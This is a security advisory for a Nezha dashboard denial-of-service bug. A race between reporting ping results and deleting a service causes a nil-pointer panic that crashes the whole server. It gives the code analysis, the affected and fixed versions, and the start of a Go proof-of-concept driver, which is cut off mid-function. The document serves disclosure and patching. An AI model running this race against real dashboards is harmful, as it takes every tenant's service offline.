CVE-2026-100394

Summary

A single low-privilege RoleMember can take the entire Nezha dashboard offline, and with it every tenant's web UI, REST API, and agent connections, by racing two ordinary operations on their own service. The crash is a nil pointer dereference in the service-monitor worker at service/singleton/servicesentinel.go:601. The worker checks a service exists under one lock and later writes to two pointer-valued status maps under a different lock; a concurrent delete removes the entries in the gap. Because the gRPC server has no recovery interceptor, the worker-goroutine panic kills the whole process. Availability only: nothing is read or modified.

Affected versions

Confirmed in v2.2.7 through v2.2.10. service/singleton/servicesentinel.go has the same vulnerable implementation in all four releases. The issue is fixed in v2.2.11 and later; users should upgrade to the latest release, v2.3.0.

The bug

The worker validates an incoming report and later writes it to two status maps, but the check and the write are guarded by two different locks taken at two different times. Between them, the same member can delete the service and pull the map entries out from under the worker.

The maps hold pointers, so a missing key returns nil and the first field write through it panics:

73:  serviceStatusToday       map[uint64]*_TodayStatsOfService
74:  serviceCurrentStatusData map[uint64]*serviceTaskStatus

The worker checks presence via Get, which takes servicesLock and releases it. canReportServiceResult rejects a nil service here, so at this point the service is known to exist:

532:  cs, _ := ss.Get(r.Data.GetId())          // servicesLock.RLock / RUnlock
535:  if !canReportServiceResult(cs, reporter, r.Data.GetType()) { continue }

For TCP/ICMP ping results, every AvgPingCount (default 2, TSDB off) the worker does a synchronous DB.Create at :569 holding neither status-map lock, which stretches the gap into an easily raceable window. It then takes a different lock and dereferences the maps with no recheck and no lazy create:

597:  ss.serviceResponseDataStoreLock.Lock()
600:  ss.serviceStatusToday[mh.GetId()].Delay = ...   // nil deref if deleted meanwhile
609:  ss.serviceCurrentStatusData[mh.GetId()].t ...   // same hazard

Meanwhile Delete removes both entries under serviceResponseDataStoreLock, running on the HTTP-handler goroutine, a different goroutine from the single worker:

378:  func (ss *ServiceSentinel) Delete(ids []uint64) {
387:      delete(ss.serviceCurrentStatusData, id)
390:      delete(ss.serviceStatusToday, id)

The precise point: the check reads the services map under servicesLock; the write touches serviceStatusToday under serviceResponseDataStoreLock. Holding the second lock at :600 proves nothing about whether the entry survived, because the delete ran under that same lock while the worker was still busy between the two operations. This is a cross-lock TOCTOU, not a data race. Every access to the two maps is correctly synchronized under one lock, so -race reports nothing; the staleness lives across the two locks, not inside one memory location.

Two supporting facts. The ping map a few lines up self-heals on a miss (:543), so it never faces this; the two status maps never do. And the gRPC server is built with only real-IP and WAF interceptors (cmd/dashboard/rpc/rpc.go:37), no recovery, so the worker panic is fatal to the whole process rather than a dropped request.

Reachability

Both legs are things a member is meant to do with their own resources: report ping results over gRPC with their own agent secret, and create/delete their own service over POST /api/v1/service and POST /api/v1/batch-delete/service, which pass CheckPermission for an owned service. No admin rights, no other tenant involved. batchDeleteService reaches ServiceSentinel.Delete synchronously on a separate goroutine from the worker, so the two interleave freely.

Code flow

member agent -> gRPC RequestTask stream -> TaskResult{Id: ownedSvc, Type: TCPPing}
  -> service/rpc/nezha.go: IsServiceSentinelNeeded(TCPPing) -> Dispatch(ReportData{...})
  -> serviceReportChannel -> single worker goroutine:
        Get(id)  [servicesLock] present ......+  <- TOCTOU check (:532/:535)
        DB.Create(ServiceHistory)  (gap)      |
                                              |  member HTTP: POST /api/v1/batch-delete/service
                                              |  -> batchDeleteService (CheckPermission: own OK)
                                              |  -> ServiceSentinel.Delete([id]) (synchronous)
                                              |     [serviceResponseDataStoreLock] delete(serviceStatusToday,id)
        serviceResponseDataStoreLock.Lock() <-+
        serviceStatusToday[id].Delay = ...      <- id now absent -> nil deref -> SIGSEGV (:600)

Proof of concept

Environment: dashboard built from fd31e5f1 on go1.26.4, SQLite, bound to 127.0.0.1:8008, with avg_ping_count: 2 and TSDB disabled (both defaults). Everything runs against the real running binary using the project's own generated proto client and a plain HTTP client. No mocks, no in-process calls. The driver uses only the member's own credentials, targets only the member's own service, and is strictly for local authorized testing.

The driver

Placed at cmd/pocdos/main.go inside a checkout of the target repo (so the github.com/nezhahq/nezha/proto import resolves), built with go build ./cmd/pocdos.

import (
	"bytes"
	"context"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"log"
	"math/rand"
	"net/http"
	"os"
	"sync"
	"sync/atomic"
	"time"

	"google.golang.org/grpc"
	"google.golang.org/grpc/credentials/insecure"
	"google.golang.org/grpc/metadata"

	pb "github.com/nezhahq/nezha/proto"
)

var (
	grpcAddr = flag.String("grpc", "127.0.0.1:8008", "")
	baseURL  = flag.String("url", "http://127.0.0.1:8008", "")
	secret   = flag.String("secret", "", "m1 agent secret")
	uuid     = flag.String("uuid", "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa", "")
	token    = flag.String("token", "", "m1 jwt")
	csrf     = flag.String("csrf", "", "m1 csrf")
	dur      = flag.Duration("dur", 90*time.Second, "")
	churn    = flag.Int("churn", 16, "concurrent create/delete workers")
)

var httpc = &http.Client{Timeout: 5 * time.Second, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConnsPerHost: 256}}

func req(method, path string, body []byte) ([]byte, int) {
	r, _ := http.NewRequest(method, *baseURL+path, bytes.NewReader(body))
	r.Header.Set("Content-Type", "application/json")
	r.Header.Set("Authorization", "Bearer "+*token)
	r.Header.Set("X-CSRF-Token", *csrf)
	r.AddCookie(&http.Cookie{Name: "nz-csrf", Value: *csrf})
	r.AddCookie(&http.Cookie{Name: "nz-jwt", Value: *token})
	resp, err := httpc.Do(r)
	if err != nil {
		return []byte(err.Error()), 0
	}
	defer resp.Body.Close()
	b, _ := io.ReadAll(resp.Body)
	return b, resp.StatusCode
}

func createSvc() (uint64, bool) {
	b, _ := req("POST", "/api/v1/service", []byte(`{"name":"p","target":"127.0.0.1:8008","type":3,"cover":0,"duration":30}`))
	var id uint64
	if n, _ := fmt.Sscanf(string(b), `{"success":true,"data":%d}`, &id); n == 1 {
		return id, true
	}
	return 0, false
}

func deleteSvc(id uint64) {
	req("POST", "/api/v1/batch-delete/service", []byte(fmt.Sprintf("[%d]", id)))
}

func main() {
	flag.Parse()
	rand.Seed(time.Now().UnixNano())

	conn, err := grpc.NewClient(*grpcAddr, grpc.WithTransportCredentials(insecure.NewCredentials()))
	if err != nil {
		log.Fatal(err)
	}
	cli := pb.NewNezhaServiceClient(conn)
	authCtx := func(ctx context.Context) context.Context {
		return metadata.AppendToOutgoingContext(ctx, "client_uuid", *uuid, "client_secret", *secret)
	}

	// 1) register a server owned by m1
	if _, err := cli.ReportSystemInfo2(authCtx(context.Background()), &pb.Host{Platform: "poc", Arch: "poc"}); err != nil {